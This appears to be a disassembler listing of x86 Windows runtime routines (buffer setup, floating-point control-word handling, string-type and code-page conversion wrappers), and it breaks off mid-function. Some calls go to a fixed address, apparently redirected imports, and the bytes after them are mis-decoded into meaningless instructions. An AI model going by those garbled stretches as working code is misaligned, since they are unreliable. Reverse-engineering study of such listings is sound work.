		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0A70000h
		leave
		test	eax, eax
		jz	short loc_419322
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4192C9
; ---------------------------------------------------------------------------


loc_419322:				; CODE XREF: sub_4191D0+145j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4192C9
; ---------------------------------------------------------------------------


loc_41932D:				; CODE XREF: sub_4191D0+10Fj
		push	[ebp+arg_0]
		call	sub_418672
		pop	ecx
		jmp	short loc_419375
; ---------------------------------------------------------------------------


loc_419338:				; CODE XREF: sub_4191D0+7Bj
					; sub_4191D0+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41934D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41921A


loc_41934D:				; CODE XREF: sub_4191D0+16Fj
		mov	ds:dword_460F8C, 1Ch
		mov	ds:dword_460F90, edi
		jmp	short loc_419375
; ---------------------------------------------------------------------------


loc_41935F:				; CODE XREF: sub_4191D0+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_419378
; ---------------------------------------------------------------------------


loc_419364:				; CODE XREF: sub_4191D0+15j
					; sub_4191D0+37j
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9


loc_419375:				; CODE XREF: sub_4191D0+120j
					; sub_4191D0+166j ...
		or	eax, 0FFFFFFFFh


loc_419378:				; CODE XREF: sub_4191D0+4Cj
					; sub_4191D0+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4191D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41937D	proc near		; CODE XREF: sub_413F77+6Cp
					; sub_41793B+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_46114C
		push	1000h
		call	sub_41205F
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_4193A6
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_4193B7
; ---------------------------------------------------------------------------


loc_4193A6:				; CODE XREF: sub_41937D+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_4193B7:				; CODE XREF: sub_41937D+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41937D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193C1	proc near		; CODE XREF: sub_413F77+61p
					; sub_4186D9+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4623A0
		jb	short loc_4193D0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4193C1+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4622A0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_4193C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193E7	proc near		; DATA XREF: seg002:0041F020o
		mov	eax, ds:dword_462280
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_4193FB
		mov	eax, 200h
		jmp	short loc_419401
; ---------------------------------------------------------------------------


loc_4193FB:				; CODE XREF: sub_4193E7+Bj
		cmp	eax, esi
		jge	short loc_419406
		mov	eax, esi


loc_419401:				; CODE XREF: sub_4193E7+12j
		mov	ds:dword_462280, eax


loc_419406:				; CODE XREF: sub_4193E7+16j
		push	4
		push	eax
		call	sub_41AA8A
		pop	ecx
		mov	ds:dword_46127C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41943A
		push	4
		push	esi
		mov	ds:dword_462280, esi
		call	sub_41AA8A
		pop	ecx
		mov	ds:dword_46127C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41943A
		push	1Ah
		call	sub_413F2E
		pop	ecx


loc_41943A:				; CODE XREF: sub_4193E7+30j
					; sub_4193E7+49j
		xor	ecx, ecx
		mov	eax, offset off_42FF68


loc_419441:				; CODE XREF: sub_4193E7+6Ej
		mov	edx, ds:dword_46127C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4301E8
		jl	short loc_419441
		xor	edx, edx
		mov	ecx, offset dword_42FF78


loc_41945E:				; CODE XREF: sub_4193E7+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_4622A0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41947B
		test	eax, eax
		jnz	short loc_41947E


loc_41947B:				; CODE XREF: sub_4193E7+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41947E:				; CODE XREF: sub_4193E7+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_42FFD8
		jl	short loc_41945E
		pop	esi
		retn
sub_4193E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41948C	proc near		; DATA XREF: seg002:0041F030o

; FUNCTION CHUNK AT 0041AB07 SIZE 00000058 BYTES

		call	sub_4178C5
		cmp	ds:byte_460FCC,	0
		jz	short locret_41949F
		jmp	loc_41AB07
; ---------------------------------------------------------------------------

locret_41949F:				; CODE XREF: sub_41948C+Cj
		retn
sub_41948C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194A0	proc near		; CODE XREF: sub_41408C+2D4p
					; sub_41408C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_4194AC
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4194AC:				; CODE XREF: sub_4194A0+8j
		cmp	ds:dword_461018, 0
		jnz	short loc_4194C7
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4194F9
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4194C7:				; CODE XREF: sub_4194A0+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_42FA7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_461028
		call	ds:dword_41D128	; CODE XREF: seg000:00419566j
		test	eax, eax
		jz	short loc_4194F9
		cmp	[ebp+arg_0], 0
		jz	short loc_419506


loc_4194F9:				; CODE XREF: sub_4194A0+1Ej
					; sub_4194A0+51j
		mov	ds:dword_460F8C, 2Ah
		or	eax, 0FFFFFFFFh


loc_419506:				; CODE XREF: sub_4194A0+57j
		pop	ebp
		retn
sub_4194A0	endp

; ---------------------------------------------------------------------------


loc_419508:				; CODE XREF: sub_414896+5Ep
					; sub_418447+9Ap
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41DB78
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_461150
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_419577
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41D868
		push	esi
		call	ds:dword_41D028	; GetStringTypeW
		test	eax, eax
		jz	short loc_419555
		mov	eax, esi
		jmp	short loc_419572
; ---------------------------------------------------------------------------


loc_419555:				; CODE XREF: seg000:0041954Fj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_430ACC
		push	esi
		push	ebx
		call	near ptr 0A70000h
		jnp	short near ptr loc_4194E9+4
		ror	byte ptr [edi],	84h
		into
; ---------------------------------------------------------------------------
		dd 6A000000h
		db 2, 58h
; ---------------------------------------------------------------------------


loc_419572:				; CODE XREF: seg000:00419553j
		mov	ds:dword_461150, eax


loc_419577:				; CODE XREF: seg000:00419537j
		cmp	eax, 2
		jnz	short loc_4195A0
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_419588
		mov	eax, ds:dword_461018


loc_419588:				; CODE XREF: seg000:00419581j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0A70000h
		db	67h
		jmp	near ptr 963Fh
; ---------------------------------------------------------------------------


loc_4195A0:				; CODE XREF: seg000:0041957Aj
		cmp	eax, 1
		jnz	loc_41963D
		cmp	[ebp+18h], ebx
		jnz	short loc_4195B6
		mov	eax, ds:dword_461028
		mov	[ebp+18h], eax


loc_4195B6:				; CODE XREF: seg000:004195ACj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_41D12C	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_41963D
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_412030
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4119E0
		add	esp, 0Ch
		jmp	short loc_41960C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_41960C:				; CODE XREF: seg000:004195FFj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41963D
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_41D12C	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41963D
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_41D028	; GetStringTypeW
		jmp	short loc_41963F
; ---------------------------------------------------------------------------


loc_41963D:				; CODE XREF: seg000:004195A3j
					; seg000:004195D8j ...
		xor	eax, eax


loc_41963F:				; CODE XREF: seg000:0041963Bj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419651	proc near		; CODE XREF: sub_415A56+52p
		xor	eax, eax
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419654	proc near		; CODE XREF: sub_419689+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41969F
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_419731
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419654	endp


; =============== S U B	R O U T	I N E =======================================



sub_419689	proc near		; CODE XREF: sub_415D42+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_419654
		pop	ecx
		pop	ecx
		retn
sub_419689	endp


; =============== S U B	R O U T	I N E =======================================



sub_41969F	proc near		; CODE XREF: sub_419654+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4196B0
		push	10h
		pop	eax


loc_4196B0:				; CODE XREF: sub_41969F+Cj
		test	bl, 4
		jz	short loc_4196B7
		or	al, 8


loc_4196B7:				; CODE XREF: sub_41969F+14j
		test	bl, 8
		jz	short loc_4196BE
		or	al, 4


loc_4196BE:				; CODE XREF: sub_41969F+1Bj
		test	bl, 10h
		jz	short loc_4196C5
		or	al, 2


loc_4196C5:				; CODE XREF: sub_41969F+22j
		test	bl, 20h
		jz	short loc_4196CC
		or	al, 1


loc_4196CC:				; CODE XREF: sub_41969F+29j
		test	bl, 2
		jz	short loc_4196D6
		or	eax, 80000h


loc_4196D6:				; CODE XREF: sub_41969F+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41970E
		cmp	edx, 400h
		jz	short loc_41970B
		cmp	edx, 800h
		jz	short loc_419707
		cmp	edx, esi
		jnz	short loc_41970E
		or	eax, edi
		jmp	short loc_41970E
; ---------------------------------------------------------------------------


loc_419707:				; CODE XREF: sub_41969F+5Ej
		or	eax, ebp
		jmp	short loc_41970E
; ---------------------------------------------------------------------------


loc_41970B:				; CODE XREF: sub_41969F+56j
		or	ah, 1


loc_41970E:				; CODE XREF: sub_41969F+4Ej
					; sub_41969F+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41971E
		cmp	ecx, ebp
		jnz	short loc_419723
		or	eax, 10000h
		jmp	short loc_419723
; ---------------------------------------------------------------------------


loc_41971E:				; CODE XREF: sub_41969F+72j
		or	eax, 20000h


loc_419723:				; CODE XREF: sub_41969F+76j
					; sub_41969F+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_419730
		or	eax, 40000h

locret_419730:				; CODE XREF: sub_41969F+8Aj
		retn
sub_41969F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419731	proc near		; CODE XREF: sub_419654+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_419741
		push	1
		pop	eax


loc_419741:				; CODE XREF: sub_419731+Bj
		test	bl, 8
		jz	short loc_419748
		or	al, 4


loc_419748:				; CODE XREF: sub_419731+13j
		test	bl, 4
		jz	short loc_41974F
		or	al, 8


loc_41974F:				; CODE XREF: sub_419731+1Aj
		test	bl, 2
		jz	short loc_419756
		or	al, 10h


loc_419756:				; CODE XREF: sub_419731+21j
		test	bl, 1
		jz	short loc_41975D
		or	al, 20h


loc_41975D:				; CODE XREF: sub_419731+28j
		test	ebx, 80000h
		jz	short loc_419767
		or	al, 2


loc_419767:				; CODE XREF: sub_419731+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_419794
		cmp	ecx, 100h
		jz	short loc_419791
		cmp	ecx, esi
		jz	short loc_41978C
		cmp	ecx, edx
		jnz	short loc_419794
		or	ah, 0Ch
		jmp	short loc_419794
; ---------------------------------------------------------------------------


loc_41978C:				; CODE XREF: sub_419731+50j
		or	ah, 8
		jmp	short loc_419794
; ---------------------------------------------------------------------------


loc_419791:				; CODE XREF: sub_419731+4Cj
		or	ah, 4


loc_419794:				; CODE XREF: sub_419731+44j
					; sub_419731+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4197AA
		cmp	ecx, 10000h
		jnz	short loc_4197AC
		or	eax, esi
		jmp	short loc_4197AC
; ---------------------------------------------------------------------------


loc_4197AA:				; CODE XREF: sub_419731+6Bj
		or	eax, edx


loc_4197AC:				; CODE XREF: sub_419731+73j
					; sub_419731+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4197B9
		or	ah, 10h

locret_4197B9:				; CODE XREF: sub_419731+83j
		retn
sub_419731	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197BA	proc near		; CODE XREF: sub_419859+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4197FF
		inc	esi
		cmp	esi, 3
		jge	short loc_4197FA
		lea	eax, [eax+esi*4]


loc_4197EC:				; CODE XREF: sub_4197BA+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4197FF
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4197EC


loc_4197FA:				; CODE XREF: sub_4197BA+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4197FF:				; CODE XREF: sub_4197BA+27j
					; sub_4197BA+35j
		xor	eax, eax
		pop	esi
		retn
sub_4197BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419803	proc near		; CODE XREF: sub_419859+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41AB5F
		add	esp, 0Ch
		dec	esi
		js	short loc_419855
		lea	edi, [ebx+esi*4]


loc_41983C:				; CODE XREF: sub_419803+50j
		test	eax, eax
		jz	short loc_419855
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41AB5F
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41983C


loc_419855:				; CODE XREF: sub_419803+34j
					; sub_419803+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419803	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419859	proc near		; CODE XREF: sub_4199B4+81p
					; sub_4199B4+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4198BD
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4197BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4198BA
		push	edi
		push	[ebp+arg_0]
		call	sub_419803
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4198BA:				; CODE XREF: sub_419859+51j
		mov	eax, [ebp+arg_4]


loc_4198BD:				; CODE XREF: sub_419859+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4198DD
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4198DD:				; CODE XREF: sub_419859+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419859	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198E5	proc near		; CODE XREF: sub_4199B4+75p
					; sub_4199B4+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4198F3:				; CODE XREF: sub_4198E5+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4198F3
		pop	esi
		retn
sub_4198E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_419900	proc near		; CODE XREF: sub_4199B4+5Fp
					; sub_4199B4+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_419900	endp


; =============== S U B	R O U T	I N E =======================================



sub_41990C	proc near		; CODE XREF: sub_4199B4+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_419912:				; CODE XREF: sub_41990C+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_419924
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_419912
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419924:				; CODE XREF: sub_41990C+9j
		xor	eax, eax
		retn
sub_41990C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419927	proc near		; CODE XREF: sub_4199B4+C0p
					; sub_4199B4+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41995D:				; CODE XREF: sub_419927+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41995D
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41998F:				; CODE XREF: sub_419927+86j
		cmp	ebx, edi
		jl	short loc_4199A2
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4199A9
; ---------------------------------------------------------------------------


loc_4199A2:				; CODE XREF: sub_419927+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4199A9:				; CODE XREF: sub_419927+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41998F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419927	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B4	proc near		; CODE XREF: sub_419B20+Dp
					; sub_419B36+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_419A21
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41990C
		test	eax, eax
		pop	ecx
		jnz	loc_419AE0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419900
		pop	ecx


loc_419A19:				; CODE XREF: sub_4199B4+E4j
		push	2


loc_419A1B:				; CODE XREF: sub_4199B4+110j
		pop	eax
		jmp	loc_419AE2
; ---------------------------------------------------------------------------


loc_419A21:				; CODE XREF: sub_4199B4+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4198E5
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419859
		add	esp, 10h
		test	eax, eax
		jz	short loc_419A42
		inc	ebx


loc_419A42:				; CODE XREF: sub_4199B4+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_419A5A
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419900
		pop	ecx
		jmp	short loc_419A96
; ---------------------------------------------------------------------------


loc_419A5A:				; CODE XREF: sub_4199B4+98j
		cmp	ebx, eax
		jg	short loc_419A9D
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4198E5
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_419927
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419859
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419927
		add	esp, 20h


loc_419A96:				; CODE XREF: sub_4199B4+A4j
		xor	esi, esi
		jmp	loc_419A19
; ---------------------------------------------------------------------------


loc_419A9D:				; CODE XREF: sub_4199B4+A8j
		cmp	ebx, [edi]
		jl	short loc_419AC9
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419900
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419927
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_419A1B
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199B4+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_419927
		pop	ecx
		pop	ecx


loc_419AE0:				; CODE XREF: sub_4199B4+55j
		xor	eax, eax


loc_419AE2:				; CODE XREF: sub_4199B4+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_419B11
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_419B1B
; ---------------------------------------------------------------------------


loc_419B11:				; CODE XREF: sub_4199B4+14Ej
		cmp	edi, 20h
		jnz	short loc_419B1B
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_419B1B:				; CODE XREF: sub_4199B4+15Bj
					; sub_4199B4+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4199B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B20	proc near		; CODE XREF: sub_419B4C+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4301F0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4199B4
		add	esp, 0Ch
		retn
sub_419B20	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B36	proc near		; CODE XREF: sub_419B79+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_430208
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4199B4
		add	esp, 0Ch
		retn
sub_419B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B4C	proc near		; CODE XREF: sub_415E7B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41AD00
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419B20
		add	esp, 24h
		leave
		retn
sub_419B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B79	proc near		; CODE XREF: sub_415E7B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
